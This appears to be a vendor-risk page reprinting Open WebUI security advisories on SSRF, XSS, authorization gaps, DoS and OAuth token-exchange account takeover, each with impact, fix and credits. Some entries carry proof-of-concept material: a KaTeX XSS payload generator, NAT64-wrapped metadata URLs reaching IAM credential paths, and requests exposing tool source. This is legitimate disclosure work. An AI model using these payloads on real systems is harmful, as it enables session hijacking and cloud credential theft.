Where
-Infinity
0

Vendor Risk Score

See how openwebui compares to other vendors in security performance

View Risk Score →
Severity
6.3
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary Open WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.

Preconditions - An account on the instance. No admin rights and no non-default configuration. - Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers. - One of the affected entry points: URL ingest for retrieval, an imageurl in a chat completion, image editing, or the OAuth profile-picture fetch. - The OAuth path additionally needs OAuth login configured and a picture claim (OAUTHPICTURECLAIM, default picture) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs OAUTHUPDATEPICTUREONLOGIN, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.

Impact The server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.

Exploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.

Fix Fixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a requests transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.

Root cause Affected components: - retrieval web loader (SafeWebBaseLoader) - retrieval content probe (getcontentfromurl) - chat image fetch (getimagebase64fromurl) - image edit fetch (loadurlimage) - OAuth profile-picture fetch (processpictureurl)

The URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.

Credits - @rezaduty — the rebinding time-of-check/time-of-use bypass and the retrieval loader path. - @nikchillz — the retrieval content-probe path. - @dhyabi2 — the chat imageurl path, where the internal response is read back through the vision model. - @geo-chen — the image-edit path. - @bogdancherniy11-sudo — the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary Open WebUI lets a client define a model inline on a chat request instead of selecting a saved workspace model. The knowledge attached to such an inline model was used as-is, without checking that the caller can read what it points at. Any authenticated user who knows another user's file id could therefore have the builtin knowledge tools return that file's indexed content back to them.

Preconditions Authenticated user of any role, no admin rights needed. The request must carry a session id and use native function calling, which is the default (only functioncalling: legacy opts out), and the model's builtintools capability must not be disabled (default enabled). The attacker must already know the target file's id; ids are UUIDs and are not enumerable through this path. No admin setting needs to be turned on: enabling Direct Connections is not required for the backend to accept an inline model. Knowledge bases attached this way were never affected, their own access grants were enforced on every path.

Impact An authenticated user could read the indexed chunks of another user's or group's file, a cross-user confidentiality loss limited to files whose ids the attacker already holds. It is read-only: nothing is modified or deleted, knowledge-base permissions are unaffected, and saved workspace models were already validated at creation time.

Fix Fixed in 0.11.0 by commit 305880f2e. An inline model's attached knowledge is filtered against the caller's real read access before it is used, dropping any file, knowledge base or note the caller cannot read. Upgrading fully resolves it, no configuration change is required.

Root cause Affected component: the chat completion, chat completed and chat action endpoints, which accept an inline model definition, and the builtin knowledge tools that consume the model's attached knowledge. Affected setups: all builds from 0.8.8 through 0.10.2.

Saved workspace models have their attached file references validated against the author when the model is created, updated or imported, so a stored model can only carry files its creator can read. An inline model never passes through that path, yet everything downstream treated its attached knowledge with the same trust, including a helper that grants read access to a file purely because the running model claims it as attached knowledge. The missing control was an access check at the point where client-supplied model metadata enters the request.

Credits Reported by @whyiug.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary A user with write access to one knowledge base could delete directories, and drop file embeddings, belonging to knowledge bases they do not control. The sync cleanup endpoint verified write access on the knowledge base named in the URL and then acted on the directory and file ids supplied in the request body without checking that those objects belonged to that knowledge base.

Preconditions Default configuration, no flags involved. The attacker needs write access to at least one knowledge base, which comes from owning one, from a write access grant, or from the admin role; workspace.knowledge is off by default, so an ordinary user cannot simply create one. They also need the victim's directory or file id, which are UUIDs and are not enumerable, so in practice the attacker is someone who can already see the target knowledge base, typically a read-only collaborator on a shared one. Deployments where no knowledge base is shared beyond its owner are not reachable.

Impact The attacker deletes a target directory and, because the deletion runs without moving files to the parent, the knowledgefile associations for every file in that subtree are removed as well, so those documents silently drop out of the victim's knowledge base and out of its retrieval results. Separately, the per-file vector cleanup dropped the standalone file-<id> collection for any file id, breaking chat-with-file for that document. The stored files and their database rows survive, since that path was gated on file ownership, and an owner can restore the state by re-adding and reprocessing. Nothing about the target knowledge base's contents is disclosed to the attacker.

Fix Fixed in https://github.com/open-webui/open-webui/pull/26722. Both request-body loops are now scoped to the knowledge base in the URL: a directory is resolved and skipped unless its knowledgeid matches, and the per-file vector cleanup runs only for files that are members of that knowledge base. Upgrading fully resolves the issue.

Root cause Affected component: backend/openwebui/routers/knowledge.py, handler syncknowledgecleanup, endpoint POST /api/v1/knowledge/{id}/sync/cleanup. Affected setup: all builds from 0.9.6 onward, no optional dependency involved.

The handler treated the write-access check on the URL knowledge base as authorization for everything it went on to do, but the objects it acted on came from the request body and were addressed by primary key alone. Directory deletion at the model layer deletes by directory id and has no notion of a parent knowledge base, so the only thing that could have bound the two together was a membership check in the handler, and there was none. The explicit directory-delete endpoint in the same router already carried that check, which is what makes this a gap in one handler rather than a missing model-layer control.

Credits Reported by @whyiug.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary In every affected release, automation recurrence parsing anchors minutely and hourly rules at a fixed date of 2000-01-01 and then walks forward one interval at a time to find the next run. A single FREQ=MINUTELY rule therefore enumerates roughly a quarter-century of occurrences, synchronously, on the event loop that also serves the scheduler, HTTP and WebSocket traffic. Nothing bounds the walk, and nothing moves it off the loop.

Preconditions Any user who can create an automation. USERPERMISSIONSFEATURESAUTOMATIONS defaults to false, so on a default deployment only an admin can reach the create path; it becomes reachable by ordinary users on any deployment that has granted the automations feature, which is the normal way to make the feature usable. UVICORNWORKERS defaults to 1, so there is no second worker to absorb the stall. The rule needs no unusual syntax: FREQ=MINUTELY with no DTSTART, or with a DTSTART set well in the past, is enough.

Impact Availability, against every other user of the instance. One evaluation of RRULE:FREQ=MINUTELY takes 18.9 s of blocking CPU; adding a ten-value BYSECOND list multiplies the walk and takes 64.2 s. FREQ=HOURLY costs 0.34 s and is not materially exploitable on its own. The cost does not stop at creation: once the automation is stored, the scheduler recomputes the next run for every claimed row on each poll, so the same walk repeats on a default 10 s interval and the instance stays wedged rather than recovering. Instances that have not enabled the automations feature for non-admin users are exposed only to an admin doing this.

Fix Fixed in 0.11.0. Sub-daily rules are now anchored to the current clock instead of the year-2000 date, so the walk starts at the next occurrence rather than a quarter-century behind it. A caller-supplied DTSTART is honoured only when the number of occurrences it implies stays under a fixed bound, and is otherwise replaced by the clock-aligned anchor. The same rules that cost 18.9 s and 64.2 s now cost under a millisecond. Upgrading fully resolves the issue, no configuration change is required.

Root cause Affected component: backend/openwebui/utils/automations.py, parserule, reached from the automation create, update and toggle handlers in backend/openwebui/routers/automations.py and from the scheduler's claim path in backend/openwebui/models/automations.py. Affected setup: every build from 0.9.0 onward, since that is when the automations feature shipped.

The fixed anchor existed to make sub-daily intervals snap to clock boundaries, so that "every 5 minutes" lands on :00, :05, :10 rather than drifting from whenever the automation happened to be created. Snapping only needs a reference point of the right phase, but the implementation used a literal far-past date as that reference and left the recurrence library to walk forward from it. The distance between the anchor and the present is therefore attacker-influenced work that grows with real time, and it was never treated as a cost that needed a bound or a thread.

Proof of concept Measured cost of a single next-run computation against the shipped 0.10.2 parser:

| rule | cost | | --- | --- | | RRULE:FREQ=MINUTELY | 18,880 ms | | RRULE:FREQ=MINUTELY;BYSECOND=0,1,2,3,4,5,6,7,8,9 | 64,236 ms | | DTSTART:20000101T000000 + RRULE:FREQ=MINUTELY | 26,237 ms | | RRULE:FREQ=HOURLY | 339 ms |

Measured at function level deliberately. Persisting such an automation has the scheduler repeat the walk on every poll and wedge the instance indefinitely, which is the actual impact but makes a live end-to-end run destructive to the test instance.

Credits Reported by @Classic298.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary The terminal WebSocket route authenticates its own first-message JWT instead of going through the HTTP dependency chain, and never applies the role check that getverifieduser enforces on every HTTP terminal route. An account whose role is pending, meaning registered but not approved, or approved and later deactivated back to pending, can therefore open an interactive terminal session that the HTTP terminal endpoints would refuse. The missing control is the verified-user role gate, not the terminal access grants, which are evaluated correctly.

Preconditions At least one terminal server must be configured, which is off by default, and its access grants must cover the account: either public read (principalid: "") or a group the account still belongs to. The attacker needs a valid, unexpired JWT for a pending account and the terminal server id. Both are obtainable by an account that registered while approvals are pending, or by one that held access and was deactivated, since deactivation sets the role to pending without revoking the token, which lasts four weeks by default. Deployments with no terminal server configured, or whose terminal grants are admin-only, are not affected.

Impact A deployment loses the account-approval boundary for terminal access. An unapproved or deactivated account gets interactive shell access, file browsing and terminal-backed tooling in the terminal environment, for as long as its token remains valid. Because the HTTP terminal routes correctly reject the same account, the two planes disagree, so an administrator who deactivates a user sees access revoked over HTTP while the WebSocket keeps working. The terminal access grants themselves are not bypassed: an account with no grant is still refused, so this only widens access to terminals already shared broadly or with a group the account remains in.

Fix Fixed in v0.11.0 by https://github.com/open-webui/open-webui/pull/27537. Token decoding, revocation checking, user lookup and the role check are consolidated into a single getverifieduserbytoken helper, and both the terminal WebSocket route and the Socket.IO handshake now go through it. The role set lives in one constant shared with the HTTP gate so the two cannot drift apart again. Upgrading fully resolves the issue; no configuration change is required.

Root cause Affected component: backend/openwebui/routers/terminals.py, the resolveauthenticatedconnection helper backing the /{serverid}/api/terminals/{sessionid} WebSocket route. Affected setup: every build from v0.8.8 onward, since the route was introduced there.

WebSocket handshakes cannot use FastAPI dependencies, so this route reimplemented authentication inline. The reimplementation reproduced the parts that are visible in the token, that it decodes and that the user row exists, and silently dropped the part that lives in the database row, the role check. Authorization then ran on two independent code paths with no shared definition of what an authenticated user is, and only one of them was updated when the role gate was introduced.

Credits Reported by @rexpository.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

A workspace tool shared with a read grant returned its full Python source to the recipient. Any authenticated non-admin who could use a shared tool could also read its source, including any user on the instance when a tool was shared publicly. Source is meant to be a writer-only tier: the list response schema deliberately omits it and source export sits behind its own permission. The read endpoints delivered it anyway.

Preconditions

- Authentication enabled (WEBUIAUTH=true, default) and plugins enabled (ENABLEPLUGINS=true, default). - The attacker is an authenticated non-admin without the workspace.tools permission and without a write grant on the tool. - A tool is shared with a read grant to the attacker, to one of their groups, or to all users (user:).

Deployments that share no tools, or share them only with users who already hold write access, are not affected.

Impact

A non-admin obtains another user's server-side tool source. Tool source commonly embeds hard-coded API keys, credentials and internal service URLs, so the practical loss frequently extends past the code itself. The attack needs no special permission beyond an ordinary account that a tool was shared with, and no user interaction. Confidentiality only: it grants no ability to create, modify or execute tools, and no integrity or availability impact.

Fix

Fixed in 0.11.0 by commit c05de13b4 (#27005) together with 310ae9130. The per-id endpoint now drops the source for callers without write access, and the two list endpoints no longer load source at all. Function specs stay visible to read users, since the chat tool listing renders a tool's functions from them. Tool execution loads source server-side, so shared tools keep working. Upgrading to 0.11.0 fully resolves the issue with no configuration change.

Root cause

Affected components: GET /api/v1/tools/, GET /api/v1/tools/list and GET /api/v1/tools/id/{id} in backend/openwebui/routers/tools.py, and the response models in backend/openwebui/models/tools.py. Every build carrying the plugin routes is affected.

ToolResponse deliberately omits the source and the specs, but its subclass ToolUserResponse permits extra fields, and each handler built its response by spreading a full dump of the tool model. The omitted fields were re-admitted as extras and serialised back to the caller, so the schema meant to enforce the writer-only tier enforced nothing at all. The listing path carried a second, independent defect: the flag that was supposed to keep source out of listings never changed the query it guarded.

Proof of concept

Against a default instance on 0.10.2, with an admin account and a second account of role user:

1. As the admin, create a tool whose source contains a marker secret and share it read-only with everyone:

POST /api/v1/tools/create {"id": "poctool", "name": "PoC Tool", "content": "APIKEY = \"TOOLSRCSECRET\"\nclass Tools:\n def hello(self) -> str: return 'hi'", "meta": {"description": "poc"}, "accessgrants": [{"principaltype": "user", "principalid": "", "permission": "read"}]}

2. As the non-admin, call any of the three read endpoints:

GET /api/v1/tools/list -> 200, item "poctool": writeaccess=false, content="APIKEY = \"TOOLSRCSECRET\" ..."

The same source is returned by GET /api/v1/tools/ and GET /api/v1/tools/id/poctool. On 0.11.0 the identical run returns the item with no source for the non-admin, while the owner still receives it.

Credits

- bogdancherniy11-sudo — reported the disclosure across the three tool read endpoints.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary Any authenticated user can store a chat message whose math block makes KaTeX fail with a stack overflow instead of a parse error. When that happens the renderer falls back to inserting the original math source into the page as HTML rather than as text, so script in the message runs in the browser of whoever views it. Every surface that renders messages is affected, including shared chats and channels, and the missing control is output escaping on the error path.

Preconditions Default configuration, no flags involved. The attacker needs a normal user account and a way to get the target to open the content: a shared chat link, a channel the target reads, or any other message surface. No admin rights and no non-default settings are required on either side.

Impact Script executes in the viewer's browser on the Open WebUI origin, which puts the session token in localStorage within reach and therefore allows taking over the viewing account. If the viewer is an administrator, that is administrator access to the instance. Exploitation needs the target to open the content, but nothing beyond that: no interaction with the message itself. Server-side data and availability are unaffected; the impact is entirely in the viewer's browser session.

Fix Fixed in 0.11.0 by commit bc600d3f0 (PR #26718). The error path now HTML-escapes the math source before it reaches the DOM, so a failed render displays the formula as text instead of as markup. Upgrading fully resolves the issue; no configuration change is needed.

Root cause Affected component: src/lib/components/chat/Messages/Markdown/KatexRenderer.svelte, the reactive block that renders math and its catch branch. Affected setup: releases 0.10.0 through 0.10.2, which are the versions carrying that fallback.

KaTeX was called with throwOnError: false, which suppresses parse errors but not a RangeError from deeply nested input. The surrounding catch treated any failure as "show the original formula" and assigned the untouched source to the value that the template inserts with {@html}. Because the Markdown math tokenizer captures everything between the delimiters verbatim, including angle brackets and complete tags, the attacker controls that string exactly.

Proof of concept Send a chat message (or store one via any endpoint that writes message content) consisting of a single inline math block: an opening $, 100000 { characters, an <img src=x onerror=alert(document.domain)> tag, 100000 } characters, and a closing $.

python3 -c 'N=100000; print("$"+"{"N+"<img src=x onerror=alert(document.domain)>"+"}"N+"$")'

Open the chat as any user who can view it. KaTeX overflows the stack, the fallback inserts the raw source, and the onerror handler fires. Replacing alert() with a request carrying localStorage.token sends the viewer's session token to an attacker-controlled host; this was demonstrated against a shared chat opened by an administrator account.

Credits @maxntv — reported the unescaped KaTeX error fallback and demonstrated session-token theft through a shared chat.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
XSS
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a terminal server could get script of their choosing to run in the Open WebUI origin itself. The HTML file preview rendered terminal-served files in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and the file is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script in a previewed file could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal server, no admin rights. - No victim interaction beyond having the chat open: a displayfile tool call opens the preview automatically. - TERMINALPROXYHEADERS unset, which is the default. An operator who had already set a restrictive Content-Security-Policy through it was not exposed, since those headers are merged into every proxied response including the served file. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed document runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Getting the malicious file written and displayed still requires a prompt-injection or a social step, which is what keeps the complexity high rather than trivial. Instances with no terminal server configured were never affected, and neither was the srcdoc preview path.

Fix Fixed in 0.11.0 by 65a5fad7b (#26907). The serveUrl preview branch now gates allow-same-origin behind the same iframeSandboxAllowSameOrigin setting the srcdoc branch already used, so by default the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient, no configuration change is required, and HTML previews continue to render normally.

Root cause - src/lib/components/chat/FileNav/FilePreview.svelte, the serveUrl iframe branch, reached for HTML files served through /api/v1/terminals/{id}/files/serve/.... - Present from 0.9.0, where that branch was introduced, through 0.10.2.

The component grew two preview paths. The srcdoc path was hardened: same-origin became opt-in and a CSP was injected into the document. The serveUrl path, added later for files streamed from a terminal server, kept a static sandbox string with allow-same-origin baked into it. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept Write an HTML file containing a script that reads window.parent.localStorage.token to a terminal server the victim can reach, then trigger displayfile for that file. The chat handler opens the preview on the resulting terminal:displayfile event with no click, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion, URL-to-markdown conversion and web-search content retrieval, and decides whether a destination is allowed by asking whether its IP address is globally routable. That test operates on the literal IPv6 address and does not look at the IPv4 address embedded inside it. On a deployment whose network has a NAT64 gateway, any verified user can wrap an internal or cloud-metadata IPv4 address in the NAT64 well-known prefix, pass the filter, and receive the internal response body back through the API.

Preconditions

- Any verified (authenticated) user account. No admin role, no elevated permission. - Default configuration: ENABLELOCALWEBFETCH off, the default WEBFETCHFILTERLIST metadata blocklist in place. Neither prevents this, because the blocklist matches hostname strings and the NAT64 literal is not one of them. - The deployment's network must provide NAT64 translation for the well-known 64:ff9b::/96 prefix, which is the common default on IPv6-only and dual-stack cloud and Kubernetes networks. - Deployments on IPv4-only networks, or on any network without a NAT64 gateway, are not affected: the address has nowhere to route.

Impact

On an affected network a low-privilege user can read GET responses from services the server can reach but the internet cannot: cloud instance metadata including IAM role credentials, loopback-bound admin surfaces, and internal APIs in the same VPC or cluster. The response body is returned to the caller, so this is full-read, not blind. Exploitation is not universal, it depends entirely on the deployment's network providing NAT64 translation, which is why the score carries high attack complexity. Deployments without NAT64 lose nothing here.

Fix

Fixed in v0.11.0 by commit 1717b493d. Address classification now unwraps the IPv4 embedded in IPv6 transition encodings before deciding whether a destination is global, and applies that at all three checkpoints. NAT64-wrapped public destinations continue to work. Upgrading to v0.11.0 fully resolves the issue with no configuration change.

Root cause

- backend/openwebui/retrieval/web/utils.py — validateurl(), the pre-fetch check on the submitted URL. - backend/openwebui/retrieval/web/utils.py — ssrfsafenewconn() and SSRFSafeResolver, the connect-time re-checks that defeat DNS rebinding.

All three decided reachability from ipaddress.ipaddress(ip).isglobal applied to the literal address. That predicate answers whether an IPv6 address sits in globally-routable space, which is a different question from where the packet actually ends up once a transition gateway translates it. The NAT64 well-known prefix is by design a global prefix carrying an arbitrary IPv4 destination, so an internal target wrapped in it satisfies the check while reaching exactly what the check exists to prevent. Because the same predicate backed the connect-time re-checks, no later layer caught it either. The fix inspects every standardized transition encoding rather than only the NAT64 prefix, since the same reasoning error applies to each of them.

Proof of concept

Against the real POST /api/v1/retrieval/process/web flow on v0.10.2 as an authenticated user, with internal HTTP services returning a marker string. The plain forms are rejected with HTTP 400:

http://169.254.169.254/latest/meta-data/ -> 400 http://127.0.0.1/ -> 400 http://[::ffff:169.254.169.254]/ -> 400 http://metadata.google.internal/ -> 400

The NAT64 encodings of the same targets are accepted, and the response body is returned in the content field:

http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/ -> 200, marker returned http://[64:ff9b::7f00:1]/admin/internal-status -> 200, marker returned

NAT64 translation was modelled by binding the translated addresses locally rather than by routing through a real NAT64 gateway; everything else, including the request flow and the validation code, is the unmodified v0.10.2 path. After the fix both URLs return 400 while http://[64:ff9b::808:808]/ (8.8.8.8, public) still returns 200, confirming no over-blocking.

Credits

- tonghuaroot — reported the transition-form gap in the address classification and supplied the fix approach.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary An authenticated user whose features.imagegeneration permission has been revoked can still make the server generate images by sending the feature flag in a chat-completion request. The chat pipeline took the client-supplied features object at face value and never re-checked the permission that the direct image routes enforce, so the denial applied to the UI affordance but not to the server-side generation path.

Preconditions Image generation must be enabled and a provider configured by the administrator (ENABLEIMAGEGENERATION is off by default). The per-user permission defaults to granted, so only deployments where an administrator explicitly revoked it for some users are affected. On 0.10.0 and later the caller must also set params.functioncalling to legacy; on 0.9.x and earlier the legacy mode was the default, so no special parameter was needed. Deployments on native function calling are unaffected, since that path checks the permission before registering the image tools.

Impact A user the administrator has explicitly denied image generation can consume the operator's configured provider through the chat API, spending the operator's API credits and provider quota and writing generated files to the operator's storage. Where an image is present in the conversation and image editing is enabled, the same handler reaches the image-edit provider as well. No provider credentials are exposed, and no other user's data is reachable.

Fix Fixed in 897d69a (#26703). The legacy chat-features block now re-checks features.imagegeneration against the caller's permissions before invoking the image handler, matching the check the direct image routes and the native function-calling path already performed.

Root cause The chat-completions endpoint stored the request's features object into request metadata, and processchatpayload in the chat middleware dispatched to the image handler purely on the truthiness of that client-supplied flag. Permission enforcement lived on the two surfaces that were reached from the UI, the direct /images/generations and /images/edit routes and the native function-calling tool registration, and was simply absent on the legacy chat path. The flag was treated as a statement of user intent, which it is, rather than as an authorization decision, which the handler behind it made it.

Credits @DavidCarliez, for identifying that the chat pipeline honours the client-supplied image-generation feature flag without re-checking the permission.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary DELETE /api/v1/chats/{id} cancelled a chat's in-flight tasks before it checked whether the caller was allowed to delete that chat. Any authenticated user who knew another user's chat id could therefore abort that user's running model response, title generation or tag generation. The deletion itself was still refused, so the only missing control was on the cancellation side effect.

Preconditions Default configuration, no special deployment shape. The attacker needs a normal account with the default user role and nothing else: the chat.delete permission is not required, and revoking it does not prevent the cancellation. The attacker also needs the victim's chat id, which is returned by the read-only shared-chat endpoint when a chat or a folder has been shared with them - otherwise enumerating the chat id requires guessing the chat id or brute forcing it, and the victim must have a generation running at that moment.

Impact A user can repeatedly interrupt another user's generations without any write access to the target chat. Nothing is deleted, modified or disclosed, and the victim can simply regenerate, so the effect is limited to availability of in-flight responses. Because the attacker only needs a chat id, the interruption can be scripted and repeated for as long as the id stays valid.

Fix Fixed in https://github.com/open-webui/open-webui/pull/27006, released in 0.11.0. The handler now resolves and authorizes the chat first and only cancels tasks and deletes once the caller is an admin or a permitted owner; an unauthorized caller gets 401 or 404 with no cancellation.

Root cause Affected component: deletechatbyid in backend/openwebui/routers/chats.py, serving DELETE /api/v1/chats/{id}. Affected setup: every build from 0.9.6 up to and including 0.10.2.

The cancellation was written as a cleanup step for the delete that follows it, and it was placed at the top of the handler so that it would run before the chat row disappeared. That put an unauthenticated-by-ownership side effect ahead of every check in the function: the admin branch, the chat.delete permission check, and the owner lookup all ran afterwards, so their outcome could no longer affect whether the tasks were stopped. The dedicated task-stop endpoint already verified ownership before calling the same helper, so the intended ordering existed elsewhere in the codebase.

Proof of concept Against a 0.10.2 instance with two accounts, a victim admin and an attacker holding the default user role, and an upstream that streams slowly:

1. As the victim, start a generation in a chat and confirm GET /api/tasks/chat/{chatid} reports one active task. 2. As the attacker, confirm GET /api/v1/chats/{chatid} returns 401, then send DELETE /api/v1/chats/{chatid}. 3. The delete is refused with 404, the chat still exists, but the victim's task list is now empty and the assistant message is marked done mid-generation. A control run without step 2 keeps generating.

Repeating step 2 with the chat.delete permission revoked for the user role returns 401 and still cancels the task. The same sequence against 0.11.0 leaves the task running.

Credits @GabrielGomesAL, who reported the missing authorization on the chat delete endpoint.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The OAuth token exchange endpoint accepts a raw provider access token and validates it by calling the provider's userinfo endpoint. A userinfo endpoint reports only that a token is valid, never which OAuth client it was issued to, and the endpoint performed no audience or client check of its own. Anyone holding an access token minted for any client registered with the same provider could exchange it for an Open WebUI session as that token's user, including applications the operator does not control and has never authorised.

Preconditions

- ENABLEOAUTHTOKENEXCHANGE=True. Disabled by default, so a stock deployment is not affected. - The victim already has an Open WebUI account. The endpoint does not create users. - The attacker can obtain a provider access token for the victim, typically by having them sign in to an unrelated OAuth application on the same provider. On public providers, registering that application is self-service. - The subject identifier the attacker's client observes matches the one stored on the victim's account. Google, GitHub, Okta and self-hosted OIDC servers in default configuration issue a subject that is stable across all clients and are directly affected. Microsoft Entra ID issues per-application subjects, so the match fails there unless OAUTHMERGEACCOUNTSBYEMAIL is enabled or OAUTHSUBCLAIM points at a globally stable claim such as oid. - OAUTHALLOWEDDOMAINS is enforced on this endpoint but does not constrain the attack, because the impersonated user is a legitimate member of an allowed domain.

Impact

Full account takeover of any user whose provider access token the attacker can obtain. The endpoint applies no role gating, so the issued session carries the target account's role, and a targeted administrator yields an administrator session. The victim never interacts with Open WebUI and has no opportunity to notice.

The standard OAuth callback is not affected. It obtains its token through an authorization-code exchange authenticated with the client secret, so the token is inherently bound to Open WebUI's own client, and the ID token's audience is validated.

Fix

Fixed in 0.11.0. The endpoint now resolves which OAuth client a presented token was issued to through RFC 7662 token introspection, and rejects tokens minted for any client not named in OAUTHTOKENEXCHANGETRUSTEDCLIENTIDS. Only the introspected clientid is honoured; the aud field is ignored, because it names intended resource servers rather than the issuing client and several providers let any client place another client's identifier there.

Upgrading alone is not sufficient. The check is opt-in: with OAUTHTOKENEXCHANGETRUSTEDCLIENTIDS unset the endpoint behaves as it did before, so any deployment running with ENABLEOAUTHTOKENEXCHANGE=True must also set that list. It is a deploy-time environment variable and cannot be changed from the admin interface, so a compromised administrator session cannot widen the trust boundary at runtime.

Providers that do not implement RFC 7662 introspection, including Google, Microsoft Entra ID, GitHub and Feishu, cannot be restricted this way at all. On those, token exchange has no safe configuration and should be left disabled.

Root cause

- backend/openwebui/routers/auths.py, tokenexchange (POST /api/v1/auths/oauth/{provider}/token/exchange)

Token exchange skips the authorization-code step entirely and trusts a token supplied by the caller. The only validation performed was a userinfo lookup, which answers whether a token is valid rather than who issued it, so the endpoint had no way to distinguish a token minted for Open WebUI from one minted for an unrelated application.

Proof of concept

Reproduced against a mock OIDC provider serving two tokens for the same end user, minted for two different clients, with OAUTHALLOWEDDOMAINS=corp.example actively enforced.

| Case | Token | Result | | --- | --- | --- | | Control | not recognised by the provider | 400 rejected | | Outsider's own account, non-allowed domain | minted for attacker-evil-app | 403 blocked by domain allowlist | | Victim's account, foreign client | minted for attacker-evil-app | 200, session issued for victim@corp.example |

The issued session token was confirmed usable: GET /api/v1/auths/ returned 200 authenticated as the victim. The provider log recorded the token as minted for clientid='attacker-evil-app', while Open WebUI's own client is openwebui-client-id.

Credits

Reported by @Classic298.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary On standard channels, the message update and delete handlers accepted any caller holding write access on the channel, without checking that the caller wrote the message. Write access is the same grant a member needs in order to post, so every ordinary participant in a shared channel could rewrite or permanently delete any other participant's messages. The group and direct message branch of the same handlers enforced authorship; the standard branch did not.

Preconditions Channels are disabled by default and must be enabled by an administrator (ENABLECHANNELS). The channel must be a standard channel; group and direct message channels are not affected. The attacker is any authenticated account with role user that holds write access on the channel, whether granted publicly, per user, or through a group. No ownership of the channel, channel manager role, or elevated role is required. Channel and message ids are returned by the listing endpoints the member can already call.

Impact An ordinary member could replace the content of another member's message while the message stayed attributed to its original author, and could attach arbitrary data and meta payloads to it through the same form. The member could also permanently delete other members' messages, up to the entire visible history of the channel. This is an integrity and availability loss against other users of the channel: content can be forged under a colleague's name and records can be destroyed. It reaches no further than channels the attacker already has write access to, and it discloses nothing the attacker could not already read as a member. Pinning is unaffected and is not part of this issue.

Fix Fixed in c609ec411 (#27197), released in 0.11.0. Both handlers now apply the same authorship check the group and direct message branch already used, so a non-admin caller can act only on their own messages regardless of write access. Upgrading fully resolves it, with no configuration change required.

Root cause Affected components: - backend/openwebui/routers/channels.py, updatemessagebyid (POST /api/v1/channels/{id}/messages/{messageid}/update) - backend/openwebui/routers/channels.py, deletemessagebyid (DELETE /api/v1/channels/{id}/messages/{messageid}/delete)

